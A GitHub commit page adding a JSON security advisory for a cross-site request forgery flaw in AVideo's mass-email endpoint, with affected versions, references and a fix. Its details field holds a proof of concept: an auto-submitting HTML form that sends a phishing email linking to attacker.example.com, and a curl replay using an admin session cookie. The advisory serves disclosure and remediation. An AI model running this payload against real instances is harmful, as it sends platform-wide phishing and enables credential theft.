Skip to content

Commit ab82e65

Browse files
1 parent 58ecef5 commit ab82e65

1 file changed

Lines changed: 65 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c4xj-x7p8-3x7q",
4+
"modified": "2026-04-01T20:48:53Z",
5+
"published": "2026-04-01T20:48:53Z",
6+
"aliases": [
7+
"CVE-2026-34611"
8+
],
9+
"summary": "AVideo: CSRF on emailAllUsers.json.php Enables Mass Phishing Email to All Users",
10+
"details": "## Summary\n\nThe AVideo endpoint `objects/emailAllUsers.json.php` allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets `SameSite=None` on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address.\n\nThe endpoint does not call `save()` on any ORM object, which means the Referer/Origin domain validation implemented in `ObjectYPT::save()` is never triggered, leaving CSRF as the only required protection - and it is absent.\n\n## Details\n\nThe endpoint performs an admin check at line 10 but has no CSRF token validation:\n\n```php\n// objects/emailAllUsers.json.php:10\nif (!User::isAdmin()) {\n die('{\"error\": \"Must be admin\"}');\n}\n```\n\nThe message body is taken directly from POST data at line 41:\n\n```php\n// objects/emailAllUsers.json.php:41\n$obj->message = $_POST['message'];\n```\n\nThe message is rendered as HTML in the email at line 48:\n\n```php\n// objects/emailAllUsers.json.php:48\n$mail->msgHTML($obj->message);\n```\n\nWhen the `email` POST parameter is omitted, the endpoint defaults to sending to all registered users by calling `User::getAllUsers()`. This means the attacker does not need to know any email addresses.\n\nThe emails are sent through the platform's configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.\n\n## Proof of Concept\n\nHost the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>AVI-038 PoC - CSRF Mass Email</title></head>\n<body>\n<h1>Please wait...</h1>\n<form id=\"massmail\" method=\"POST\"\n action=\"https://your-avideo-instance.com/objects/emailAllUsers.json.php\">\n\n <input type=\"hidden\" name=\"subject\" value=\"Important: Verify Your Account\" />\n\n <textarea name=\"message\" style=\"display:none\">\n <h2>Account Verification Required</h2>\n <p>Your account requires re-verification due to a recent security update.</p>\n <p>Please <a href=\"https://attacker.example.com/phish\">click here to verify</a>\n within 24 hours to avoid account suspension.</p>\n <p>Thank you,<br/>The Platform Team</p>\n </textarea>\n\n <!-- Omitting 'email' parameter causes it to send to ALL users -->\n</form>\n\n<script>document.getElementById('massmail').submit();</script>\n</body>\n</html>\n```\n\n**Verification steps:**\n\n1. Set up a test AVideo instance with at least two registered user accounts.\n2. Log in as an admin in one browser tab.\n3. Open the attacker HTML page in another tab in the same browser.\n4. Check the email inboxes of all registered users. Each will have received the phishing email from the platform's legitimate SMTP address.\n\nAlternatively, test with curl using an admin session cookie:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n -X POST \"https://your-avideo-instance.com/objects/emailAllUsers.json.php\" \\\n -d \"subject=Test&message=<h1>PoC</h1><p>This email was sent to all users.</p>\"\n```\n\n## Impact\n\nAn attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin's session via CSRF. The emails originate from the platform's legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:\n\n- Mass phishing campaigns targeting all platform users with highly credible emails\n- Credential harvesting by directing users to attacker-controlled login pages\n- Malware distribution via HTML email payloads\n- Reputation damage to the platform operator\n\nThe attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/emailAllUsers.json.php:13`, after the admin check:\n\n```php\n// objects/emailAllUsers.json.php:13\nif (!isGlobalTokenValid()) {\n forbiddenPage('Invalid CSRF token');\n exit;\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-c4xj-x7p8-3x7q"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34611"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/226ad24a51edac57e079ac92ca95c82e1e23e3cf"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-352"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-01T20:48:53Z",
63+
"nvd_published_at": "2026-03-31T21:16:31Z"
64+
}
65+
}

0 commit comments

Comments
 (0)